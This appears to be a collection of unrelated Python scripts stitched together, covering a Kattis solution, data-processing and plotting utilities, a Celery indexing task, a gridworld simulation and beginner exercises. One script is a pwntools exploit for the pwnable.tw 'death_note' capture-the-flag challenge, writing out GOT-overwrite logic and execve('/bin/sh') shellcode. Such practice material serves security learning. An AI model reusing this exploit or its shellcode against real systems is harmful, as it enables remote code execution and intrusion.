# Problem: https://open.kattis.com/problems/schoolspirit

# Get number of students
n = int(input(""))

# Init vars
scores = [0] * n
group_scores = [0] * (n + 1)

# Method to get group score. Takes one param which is the index of the variable to remove
def get_score(rm_i):
    group_score = 0
    ind = 0

    for j in range(n):
        if j != rm_i:
            group_score += scores[j] * ((4 / 5) ** ind)
            ind += 1

    return group_score / 5

# Get all scores from input
for i in range(n):
    scores[i] = int(input(""))

# Get score with each index removed (go one index past number of students so last
# calculation is removing no student)
for i in range(n + 1):
    group_scores[i] = get_score(i)

# Print last score (score with all students)
print(group_scores[n])

# Print average of all scores where a student is removed
print(sum(group_scores[:n]) / n)


import os
import io as IO
import numpy as np
import csv
import json
import datetime
import dateparser
import dateutil.parser as dparser
from dateparser.search import search_dates

def identify_stage(dicio, obra_id):
  if (dicio[obra_id][0][6] == '1'):
    return "6"
  elif (dicio[obra_id][0][5] =='1'):
    return "5"
  elif (dicio[obra_id][0][4] == '1'):
    return "4"
  elif (dicio[obra_id][0][3] == '1'):
    return "3"
  elif (dicio[obra_id][0][2] == '1'):
    return "2"
  elif (dicio[obra_id][0][1] == '1'):
    return "1"
  else:
    return "0"

def identify_status(date_extracted, dateref):
    #dateref = datetime.datetime.today()
    if (date_extracted > dateref):
        return "Em dia"
    else:
        return "Atrasado"

def read_clause(path):
    with open(os.path.join(path, 'output.txt'), 'r') as f:
        lines = f.readlines()
    return str(lines[1].rstrip())

def clean_dates(found_dates, leave_out):
  lista = []
  for index, tuple in enumerate(found_dates):
        if tuple[0] in leave_out:
          continue
        lista.append(found_dates[index])
  return lista

def find_deadline(found_dates):
    novalista = []
    for index, tuple in enumerate(found_dates):
      novalista.append(tuple[1])
    if len(novalista) == 0:
        return None
    else:
        return max(novalista)

def main(path, dateref):
    with IO.open(os.path.join(path, 'predictions_final.csv'), "r", encoding="UTF-8") as file:
        data = np.genfromtxt(file, delimiter=",", dtype=None, encoding=None)

    dicio = {}
    for row in data[1:]:
      obra_id = row[0].rsplit('-', 1)[0]
      if(obra_id not in dicio):
        dicio[obra_id] = [row[2:]]
      else:
        dicio[obra_id] += [row[2:]]

    stage_dict = {
      "0": "Obra não iniciada(terreno)",
      "1": "Infra-estrutura",
      "2": "Vedacao vertical",
      "3": "Coberturas",
      "4": "Esquadrias",
      "5": "Revestimentos externos",
      "6": "Pisos externos e paisagismo",
    }

    current_stage = stage_dict[identify_stage(dicio, obra_id)]

    clause = read_clause(path)
    found_dates = (search_dates(clause, languages=['pt'], settings=None, add_detected_language=False, detect_languages_function=None))
    leave_out = ['segunda', 'quarta', 'quinta', 'sexta']
    if found_dates == None:
        deadline = None
    else:
        cleaned_dates = clean_dates(found_dates, leave_out)
        deadline = find_deadline(cleaned_dates)

    # identify status based on current stage and current date
    status = "Indeterminado"
    if (identify_stage(dicio, obra_id) == "6"):
        status = "Obra concluida"
    elif (deadline != None):
        status = identify_status(deadline, dateref)

    if deadline != None:
        deadline = deadline.strftime("%d/%m/%Y")

    my_dict = {'obra_id': obra_id, 'stage': current_stage, 'date_extracted': deadline, 'status': status, 'clause':clause}

    with open(os.path.join(path, 'data.json'), 'w') as fp:
        json.dump(my_dict, fp)


from cmath import isnan
import json
import os
import pandas as pd

FT_2021_SRC = "/Users/andrewgrowney/Data/kaggle/marchmadness-2021/Training/V1"
FT_DEST_ROOT = "/Users/andrewgrowney/Code/React/andrewgrowney.com/src/Data/mm/features"
FEATURE_SETS = [
    ('2021', 'all_models', [(y,os.path.join(FT_2021_SRC, f'features_{y}.csv')) for y in range(2003,2023)])
]
def fill_model_features():
    for subfolder, identifier, features_per_year in FEATURE_SETS:
        feature_data = {}
        for year, feature_file in features_per_year:
            feature_year_data = {}
            ft_df = pd.read_csv(feature_file)
            # ft_df.drop(ft_df.columns[0],1, inplace=True)
            for _, data in ft_df.iterrows():
                team_id = int(data[["TeamID"]])
                team_year_data = {}
                for k,v in dict(**data).items():
                    if (k != 'TeamID') and (not pd.isnull(v)):
                        team_year_data[k] = v
                feature_year_data[team_id] = team_year_data
            feature_data[year] = feature_year_data

        dest_file = os.path.join(FT_DEST_ROOT, subfolder, f"{identifier}.json")
        with open(dest_file, "w") as tf:
            json.dump(feature_data, tf)
        return

if __name__ == "__main__":
    fill_model_features()


"""Common definitions for the jade package."""

ANALYSIS_DIR = "analysis"
CONFIG_FILE = "config.json"
DEFAULT_SUBMISSION_GROUP = "default"
EVENTS_DIR = "events"
HPC_CONFIG_FILE = "hpc_config.toml"
JOBS_OUTPUT_DIR = "job-outputs"
JOBS_STDIO_DIR = "job-stdio"
OUTPUT_DIR = "output"
POST_PROCESSING_CONFIG_FILE = "post-config.json"
RESULTS_DB_FILE = "results.db"
RESULTS_DIR = "results"
RESULTS_FILE = "results.json"
SCRIPTS_DIR = "scripts"
STATS_DIR = "stats"
STATS_SUMMARY_FILE = "stats_summary.json"


import commlib as cl
import numpy as np

N = 1024
TS = 1e-9
T = 20 * TS
sa2 = 1.0

t = cl.time_axis(T, N)
p = cl.square(t, TS)
f = cl.frequency_axis(t)
P = cl.spectrum(t, p)

SX = sa2 / TS * np.abs(P)**2.0

cl.plot_signal(f / 1e9, SX, close_all = True, xlabel = 'f [GHz]', ylabel = 'SX')

cl.plot_signal(f * TS, SX / np.max(SX),
               xlabel = 'f * TS', ylabel = 'SX [normalized]',
               xlim = [-1, 1], show_grid = True)

SX1 = cl.window(f, SX, -1/TS, +1/TS)
total = np.trapz(SX, f)
total1 = np.trapz(SX1, f)
print('power fraction :', total1/total )


#!/usr/bin/env python
# encoding: utf-8

from pwn import *
import sys

#context.log_level = "debug"
BIN_FILE = "death_note"
LIBC_FILE = "libc_32.so.6"

def Add(Index,name):
    p.recvuntil("choice :")
    p.sendline("1")
    p.recvuntil("Index :")
    p.sendline(str(Index))
    p.recvuntil("Name :")
    p.sendline(name)

def Show(Index):
    p.recvuntil("choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(Index)

def Delete(Index):
    p.recvuntil("choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(Index)

def Exit():
    p.recvuntil("choice :")
    p.sendline("4")

if __name__ == "__main__":
    if len(sys.argv)==1:  # local
        p = process(BIN_FILE)
    else:
        p = remote('chall.pwnable.tw', 10201)
    #gdb.attach(proc.pidof(p)[0],"b *0x8048873\nb *0x80487cc\n")
    #+==================INIT=====================================
    libc = ELF(LIBC_FILE)
    elf = ELF(BIN_FILE)
    free_got = elf.got['free']
    name_addr = 0x0804A060
    #+==================INIT=====================================
    buf = ''
    buf += asm('pop ecx') # ecx = 0x8048878
    buf += asm('pop eax') # eax = heap addr
    buf += asm('push 0x6e')
    buf += asm('pop ebx')
    buf += asm('sub byte ptr[eax+0x33], bl')

    buf += asm('push 0x50') #read_num
    buf += asm('push esp')
    buf += asm('pop eax')
    buf += asm('push eax') #read into stack
    buf += asm('push eax') #ret_addr
    buf += asm('push ecx') #call read_input

    #make ecx = read_input 0x804862b
    buf += asm('push esp') # stack addr
    buf += asm('pop eax') # eax = stack addr
    buf += asm ('push 0x30303033')
    buf += asm('pop esi')
    buf += asm ('xor word ptr[eax], si')
    buf += asm ('push 0x30303220')
    buf += asm('pop esi')
    buf += asm('sub word ptr[eax], si')
    buf += "11111111"
    Add(1,"mutepig")
    Add((free_got - name_addr)/4,buf)
    Delete("1")

    shellcode = "\x31\xd2\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    p.sendline(shellcode)

    p.interactive()


import os
from datetime import datetime
import time

ssd_list = ["nvme0n1", "nvme1n1", "nvme2n1", "nvme3n1"]

def getCommand(ssd, i):
    script = "/home/breakertt/toys/plot_hpool.sh"
    plot_bin = "/home/breakertt/chia-plotter/chia-plotter-linux-amd64"
    tmp = "/mnt/" + ssd
    dst = "/mnt/sda/hpool"
    log = "/home/breakertt/log/" + ssd + "-" + str(i) + "-" + datetime.now().isoformat(timespec='microseconds') + ".log"
    node = str(ssd_list.index(ssd) // (len(ssd_list) // 2))
    return script + " " + plot_bin + " " + tmp + " " + dst + " " + log + " " + node

for ssd in ssd_list:
    os.system("tmux kill-session -t " + ssd)
    os.system("tmux new -d -s " + ssd)
    time.sleep(0.5)
    for i in range(1,6):
        os.system("tmux new-window -t " + ssd + ":" + str(i) + " " + getCommand(ssd, i))


import matplotlib.pyplot as plt
import numpy as np
from matplotlib.colors import LinearSegmentedColormap

my_colors = ['white', 'royalblue', 'red', 'magenta']
cmap1 = LinearSegmentedColormap.from_list('', my_colors, len(my_colors))

initial = np.loadtxt('initials')

N = int(initial[0,0])
mcstep1 = initial[:,1]
mcstep2 = initial[:, 2]
mcstep3 = initial[:, 3]
mcstep4 = initial[:,4]
d = initial[:, 5]
r = initial[:, 6]
p = initial[:, 7]

data = np.loadtxt('density-time-astable')
data0 = np.loadtxt('lattice0', delimiter = ',')
data1 = np.loadtxt('lattice1', delimiter = ',')
data2 = np.loadtxt('lattice2', delimiter = ',')
data3 = np.loadtxt('lattice3', delimiter = ',')
data4 = np.loadtxt('lattice4', delimiter = ',')

lattice0= np.reshape(data0, (N,N))
lattice1= np.reshape(data1, (N,N))
lattice2= np.reshape(data2, (N,N))
lattice3= np.reshape(data3, (N,N))
lattice4= np.reshape(data4, (N,N))

time = data[:, 0]
rhoA = data[:, 1]
rhoB = data[:, 2]
rhoC = data[:, 3]

def densityPlot():
	plt.plot(time, rhoA, label = "A", color= "royalblue")
	plt.plot(time, rhoB, label = "B", color= "red")
	plt.plot(time, rhoC, label = "C", color= "magenta")
	plt.title("Density vs time graph")
	plt.legend()
	plt.grid()

	plt.title("Evolutionary RPS Model \n" + "Lattice Size:" + "(" + str(N) + "X" + str(N) + ")" + "\nTotal MC Step: " + str(
        mcstep4[0]) + "\nNatural Death Rates: " + str(
        d) + "\nReproduction rates: " + str(r) + "\nPredation Rate: " + str(p))
	plt.show()

	plt.show()

def latticePlot():
	plt.subplot(2,2,1)
	plt.imshow(lattice0, cmap= cmap1)
	plt.title("MCStep= " + str(0))

	plt.subplot(2,2,2)
	plt.imshow(lattice1, cmap= cmap1)
	plt.title("MCStep= " + str(mcstep1[0]))

	plt.subplot(2,2,3)
	plt.imshow(lattice2, cmap= cmap1)
	plt.title("MCStep= " + str(mcstep2[0]))

	plt.subplot(2,2,4)
	plt.imshow(lattice4, cmap= cmap1)
	plt.title("MCStep= " + str(mcstep4[0]))

	plt.suptitle("Evolutionary RPS Model \n" + "Lattice Size:" + "(" + str(N) + "X" + str(N) + ")" + "\nTotal MC Step: " + str(
        mcstep4[0]) + "\nNatural Death Rates: " + str(
        d) + "\nReproduction rates: " + str(r) + "\nPredation Rate: " + str(p))
	plt.show()

def generalPlot():
	plt.subplot(2,2,1)
	plt.imshow(lattice0, cmap= cmap1)
	plt.title("MCStep= " + str(0))

	plt.subplot(2,2,2)
	plt.imshow(lattice2, cmap= cmap1)
	plt.title("MCStep= " + str(mcstep2[0]))

	plt.subplot(2,2,4)
	plt.imshow(lattice4, cmap= cmap1)
	plt.title("MCStep= " + str(mcstep4[0]))

	plt.subplot(2,2,3)
	plt.plot(time, rhoA, label = "A", color= "royalblue")
	plt.plot(time, rhoB, label = "B", color= "red")
	plt.plot(time, rhoC, label = "C", color= "magenta")
	plt.title("Density vs time graph")
	plt.legend()
	plt.grid()

	plt.suptitle("Evolutionary RPS Model \n" + "Lattice Size:" + "(" + str(N) + "X" + str(N) + ")" + "\nTotal MC Step: " + str(
        mcstep4[0]) + "\nNatural Death Rates: " + str(
        d) + "\nReproduction rates: " + str(r) + "\nPredation Rate: " + str(p))
	plt.show()

latticePlot()
densityPlot()
generalPlot()


import logging
import time
from urllib.parse import urljoin
import datetime
import requests
import dateutil.parser
from sqlalchemy import func, desc, or_, and_
from src.models import Play
from src.tasks.celery_app import celery

logger = logging.getLogger(__name__)

# The number of listens to get per request to identity
REQUEST_LISTENS_LIMIT = 5000

# The name of the job to be printed w/ each log
JOB = 'index-plays'

def get_time_diff(previous_time):
    # Returns the time difference in milliseconds
    return int((time.time() - previous_time) * 1000)

# Retrieve the play counts from the identity service
# NOTE: indexing the plays will eventually be a part of `index_blocks`

def get_track_plays(self, db, lock):
    start_time = time.time()
    job_extra_info = {'job': JOB}
    with db.scoped_session() as session:
        # Get the most retrieved play date in the db to use as an offet for fetching
        # more play counts from identity
        most_recent_play_date = session.query(
            Play.updated_at
        ).order_by(
            desc(Play.updated_at),
            desc(Play.id)
        ).first()
        if most_recent_play_date == None:
            # Make the date way back in the past to get the first play count onwards
            most_recent_play_date = datetime.datetime(
                2000, 1, 1, 0, 0).timestamp()
        else:
            most_recent_play_date = most_recent_play_date[0].timestamp()

        job_extra_info['most_recent_play_date'] = get_time_diff(start_time)

        # Create and query identity service endpoint for track play counts
        identity_url = update_play_count.shared_config['discprov']['identity_service_url']
        params = {'startTime': most_recent_play_date,
                  'limit': REQUEST_LISTENS_LIMIT}
        identity_tracks_endpoint = urljoin(identity_url, 'listens/bulk')

        track_listens = {}
        try:
            identity_response_time = time.time()
            resp = requests.get(identity_tracks_endpoint, params=params)
            track_listens = resp.json()
            job_extra_info['identity_response_time'] = get_time_diff(
                identity_response_time)
        except Exception as e:
            logger.error(
                f'Error retrieving track play counts - {identity_tracks_endpoint}, {e}'
            )

        plays = []
        user_track_listens = []
        track_hours = []
        # pylint: disable=W0105
        """
        Insert a row for each new count instance in the plays table
        1.) Loop through the listens to build a list of user_id to track_id pairs
        and track_id to current_hour for querying
        2.) Query the plays table for counts for both user-tracks pairs and anonymous
        listens of track by hour and build a dictionary for each mapping to counts
        3.) Loop through the listens again and only insert the difference in identity
        play count minus the existing plays in db
        """
        if 'listens' in track_listens:
            # 1.) Get the user_id to track_id pairs and track_id to current hr pairs
            listens_query_building_time = time.time()
            for listen in track_listens['listens']:
                if 'userId' in listen and listen['userId'] != None:
                    # Add the user_id to track_id mapping
                    user_track_listens.append(and_(
                        Play.play_item_id == listen['trackId'],
                        Play.user_id == listen['userId']
                    ))
                else:
                    # Since, the anonymous plays are stored by hour,
                    # find all plays in the last hour for this track
                    current_hour = dateutil.parser.parse(
                        listen['createdAt']
                    ).replace(microsecond=0, second=0, minute=0)
                    track_hours.append(and_(
                        Play.user_id == None,
                        Play.play_item_id == listen['trackId'],
                        Play.created_at == current_hour
                    ))

            job_extra_info['listens_query_building_time'] = get_time_diff(
                listens_query_building_time)
            # 2.) Query the plays and build a dict
            listens_query_time = time.time()

            # Query the plays for existing user-track listens & build
            # a dict of { '{user_id}-{track_id}' : listen_count }
            user_track_plays_dict = {}
            if user_track_listens:
                user_track_play_counts = session.query(
                    Play.play_item_id,
                    Play.user_id,
                    func.count(Play.play_item_id)
                ).filter(
                    or_(*user_track_listens)
                ).group_by(
                    Play.play_item_id,
                    Play.user_id
                ).all()

                user_track_plays_dict = {
                    f'{play[0]}-{play[1]}': play[2] for play in user_track_play_counts
                }

            # Query the plays for existing anon-tracks by hour & build
            # a dict of { '{track_id}-{timestamp}' : listen_count }
            anon_track_plays_dict = {}
            if track_hours:
                track_play_counts = session.query(
                    Play.play_item_id,
                    func.min(Play.created_at),
                    func.count(Play.play_item_id)
                ).filter(
                    or_(*track_hours)
                ).group_by(
                    Play.play_item_id
                ).all()
                anon_track_plays_dict = {
                    # pylint: disable=C0301
                    f'{play[0]}-{play[1].replace(microsecond=0, second=0, minute=0)}': play[2] for play in track_play_counts
                }
            job_extra_info['listens_query_time'] = get_time_diff(
                listens_query_time)
            build_insert_query_time = time.time()

            # 3.) Insert new listens - subtracting the identity listens from existsing listens
            for listen in track_listens['listens']:
                if 'userId' in listen and listen['userId'] != None:
                    track_id = listen['trackId']
                    user_id = listen['userId']
                    user_track_key = f'{track_id}-{user_id}'
                    # Get the existing listens for the track_id-user_id
                    user_track_play_count = user_track_plays_dict.get(
                        user_track_key, 0)
                    new_play_count = listen['count'] - user_track_play_count
                    if new_play_count > 0:
                        plays.extend([
                            Play(
                                user_id=listen['userId'],
                                play_item_id=listen['trackId'],
                                updated_at=listen['updatedAt'],
                                created_at=listen['createdAt'],
                            ) for _ in range(new_play_count)
                        ])
                else:
                    # For anon track plays, check the current hour play counts
                    # and only insert new plays for the difference
                    current_hour = dateutil.parser.parse(
                        listen['createdAt']
                    ).replace(microsecond=0, second=0, minute=0, tzinfo=None)
                    track_id = listen['trackId']
                    track_hr_key = f'{track_id}-{current_hour}'
                    # Get the existing listens from for the track_id-curren_hr
                    anon_hr_track_play_count = anon_track_plays_dict.get(
                        track_hr_key, 0)
                    new_play_count = listen['count'] - anon_hr_track_play_count
                    if new_play_count > 0:
                        plays.extend([
                            Play(
                                play_item_id=listen['trackId'],
                                updated_at=listen['updatedAt'],
                                created_at=listen['createdAt']
                            ) for _ in range(new_play_count)
                        ])
            job_extra_info['build_insert_query_time'] = get_time_diff(
                build_insert_query_time)

        insert_refresh_time = time.time()
        has_lock = lock.owned()
        if plays and has_lock:
            session.bulk_save_objects(plays)
            session.execute("REFRESH MATERIALIZED VIEW CONCURRENTLY aggregate_plays")

        job_extra_info['has_lock'] = has_lock
        job_extra_info['number_rows_insert'] = len(plays)
        job_extra_info['insert_refresh_time'] = get_time_diff(
            insert_refresh_time)
        job_extra_info['total_time'] = get_time_diff(start_time)
        logger.info("index_plays.py | update_play_count complete",
                    extra=job_extra_info)

######## CELERY TASK ########
@celery.task(name="update_play_count", bind=True)
def update_play_count(self):
    # Cache custom task class properties
    # Details regarding custom task context can be found in wiki
    # Custom Task definition can be found in src/__init__.py
    db = update_play_count.db
    redis = update_play_count.redis

    # Define lock acquired boolean
    have_lock = False

    # Define redis lock object with a timeout of 10 minutes
    update_lock = redis.lock("update_play_count_lock", timeout=10*60)
    try:
        # Attempt to acquire lock - do not block if unable to acquire
        have_lock = update_lock.acquire(blocking=False)
        if have_lock:
            get_track_plays(self, db, update_lock)
        else:
            logger.error(
                f"index_plays.py | update_play_count | {self.request.id} | Failed to acquire update_play_count_lock",
                extra={'job': JOB})
    except Exception as e:
        logger.error(
            "Fatal error in main loop of update_play_count", exc_info=True, extra={'job': JOB})
        raise e
    finally:
        if have_lock:
            update_lock.release()


# Вводится десятичное число.
# Реализовать алгоритм его перевода в двоичную систему счисления через рекурсию.

def binary(n):
    if n == 0 or n == 1:
        return f'{n}'
    return binary(n // 2) + f'{n % 2}'

n = int(input())
print(binary(n))


import random, numpy as np, matplotlib.pyplot as plt, pdb

class Simulation(object):
    def __init__(self):
        self.grid = Grid()

class Agentlist(object):  #ensures all agents of the same type have the same model
    def __init__(self, agentlist, model):
        self.agentlist = agentlist
        self.model = model
    def __len__(self):
        return len(self.agentlist)
    def  __getitem__(self, idx):
        self.agentlist[idx]

class Agent(object):
    def __init__(self, alivecol, deadcol=None, loc=None):
        self.loc = loc
        self.alive = True
        self.alivecol = alivecol
        self.deadcol = alivecol if deadcol is None else deadcol
    def step(self, grid_state):
        assert False
    def reward(self):  #agent rewards itself, or grid does that?
        assert False
    def col(self):
        return self.alivecol if self.alive else self.deadcol

class ConstantSeeker(Agent):  #take fixed steps
    def step(self, grid_state):
        return np.array([1,1])
class RandomSeeker(Agent):  #take random steps
    def step(self, grid_state):
        return np.array([random.choice([1,0,-1]), random.choice([1,0,-1])])
class DedicatedSeeker(Agent):  #only move towards the nearest destination
    def step(self, grid_state):
        #pdb.set_trace()
        dest_locs = np.where(grid_state['gridmap']==1)
        diff = np.array(dest_locs) - np.array([[self.loc[0]], [self.loc[1]]])
        dsq = np.sum(diff*diff, 0)
        closest_dest = np.argmin(dsq)
        target_dest_w = dest_locs[0][closest_dest]; target_dest_h = dest_locs[1][closest_dest]
        stepw = 1 if target_dest_w > self.loc[0] else (-1 if target_dest_w < self.loc[0] else 0)
        steph = 1 if target_dest_h > self.loc[1] else (-1 if target_dest_h < self.loc[1] else 0)
        return np.array([stepw, steph])
class DQNSeeker(Agent):  #make sure to add a model to the class before usin it.
    def step(self, grid_state):
        w, h = grid_state['gridmap'].shape
        agentmap = np.zeros([w,h])
        for loc, agentclass in grid_state['agentinfo']:
            agentmap[loc[0], loc[1]] = agent_class_to_num[agentclass]
        tmp = np.concatenate([grid_state['gridmap'][np.newaxis,...], agentmap[np.newaxis,...]], axis=0)  #2xwxh
        return model(tmp)  #todo, convert tmp to Variable and output of model to numpy

class Chaser(Agent):
    pass

agent_class_to_num = {ConstantSeeker:0, RandomSeeker:1, DedicatedSeeker:2, DQNSeeker:3, Chaser:4}

class Grid(object):
    #cell type specs: 0: normal 1: destination, 2: pit
    def __init__(self, w, h, gridmap=None):
        self.w = w
        self.h = h
        self.gridmap = gridmap
        self.gridmap = self.init_grid() if gridmap is None else gridmap
        self.colmap = {0:(128,128,128), 1:(0,255,0), 2:(255,0,0)}
        self.agentlist = []
    def grid_img(self):
        disp_img = np.zeros([self.w, self.h, 3]).astype(np.uint8)
        for w in range(self.w):
            for h in range(self.h):
                disp_img[w,h,:] = self.colmap[self.gridmap[w,h]]
        for a in self.agentlist:
            disp_img[a.loc[0],a.loc[1],:] = a.col()
        return disp_img
    def display(self):
        disp_img = self.grid_img()
        plt.imshow(disp_img); plt.show()
    def init_grid(self):
        num_destinations = random.choice([1,2,3,4,5])
        dest_dim = int(np.ceil(self.w/50.))
        gridmap = np.zeros([self.w,self.h])
        for k in range(num_destinations):
            tmpw = random.choice(range(0, self.w-dest_dim))
            tmph = random.choice(range(0, self.h-dest_dim))
            gridmap[tmpw:tmpw+dest_dim, tmph:tmph+dest_dim] = 1
        midw = int(np.round(self.w/2))
        midh = int(np.round(self.h/2))
        gridmap[midw-5:midw+5, midh-5:midh+5] = 2
        return gridmap
        #TODO: add random pits
        #Randomly populate the grid world with dangerous pits and destination cells
    def init_agents(self, agentlist): #register agents in the gridworld
        self.agentlist = agentlist
        for agent in self.agentlist:
            if agent.loc == None:
                while(True):
                    agent.loc = np.array([random.choice(range(self.w)), random.choice(range(self.h))])
                    if self.gridmap[agent.loc[0], agent.loc[1]] == 0:  #dont start agents at pits and destinations. start on a normal square only
                        break
    def get_agent_locs(self):
        for a in self.agentlist:
            print(a.loc)
    def clamp_loc(self):
        clamp_fn = lambda x, mn, mx : max(mn, min(x, mx))
        clamp_fn = lambda x, mn, mx : x%mx #toroidal world
        for a in self.agentlist:
            a.loc[0] = clamp_fn(a.loc[0], 0, self.w-1)
            a.loc[1] = clamp_fn(a.loc[1], 0, self.h-1)
    def grid_state(self):
        return {'gridmap':self.gridmap, 'agentinfo':[(k.loc, k.__class__) for k in self.agentlist], 'grid_img':self.grid_img()}
    def step(self):
        #move agents
        grid_state = self.grid_state()
        for agent in self.agentlist:
            if agent.alive:
                delta = agent.step(grid_state)
                agent.loc += delta
        self.clamp_loc()
        for agent in self.agentlist:
            if self.gridmap[agent.loc[0], agent.loc[1]] == 2:
                agent.alive = False  #agent fell into a pit

        #TODO: detect collision
        collisiondict = {}
        for idx, agent in enumerate(self.agentlist):
            if agent.alive:
                key = (agent.loc[0], agent.loc[1])
                collisiondict[key] = collisiondict.get(key, []) + [idx]
        for k in collisiondict:
            if len(collisiondict[k]) > 1:
                for idx in collisiondict[k]:
                    if self.gridmap[k[0], k[1]] != 1:  #if you have reached destination cell, no fear of collisions
                        print('collision')
                        self.agentlist[idx].alive = False

        #reward ideas:
        #collision avoidance: mean(dist to neighbours .. thresholded. above a certain threshold, it becomes constant)
        #each step taken: default reward of -1  (so that it tries to reduce the number of steps taken before reaching goal)
        #state is a 2channel thing: 1st channel is gridmap, second channel is agent locations on the map

        #using this loc the Grid updates the location.
        #In a non stochastic setting, the agents move to the cell they desire, in a stochastic setting, there is some noise added and agents may not land up exactly at the spot they wanted to move
        #reward agents, or kill them off
        #check if agents fell into pits, or collided, or reached destination

if __name__ == '__main__':
    g = Grid(100,100)
    g.display()
    agentlist = [DedicatedSeeker((0,0,0), (255,255,255)) for k in range(50)]
    g.init_agents(agentlist)
    g.display()
    #pdb.set_trace()
    for k in range(100):
        g.step()
        g.display()
        #g.get_agent_locs()
        #print('xxxx')
    agl = Agentlist(agentlist, None)
    pdb.set_trace()


soma = 0
media = 0
maior_idade = 0
maisvelho = ' '
total20 = 0
for p in range(1, 5):
    print('--- {}° PESSOA ----'.format(p))
    nome = str(input('Nome: ')).strip()
    idade = int(input('Idade: '))
    sex = str(input('Sexo [M/F] ')).strip()
    soma +=idade
    if p == 1 and sex in 'Mm':
        maior_idade = idade
        maisvelho = nome
    if sex in 'Mm' and idade > maior_idade:
        maior_idade = idade
        maisvelho = nome
    if sex in 'Ff' and idade < 20:
        total20 += 1
media = soma / 4
print('A idade media do grupo é de {}'.format(media))
print('O homem mais velho é {} que tem {} anos'.format(maisvelho, maior_idade))
print('Ao todo, nessa lista, temos {} mulheres com menos de 20 anos'.format(total20))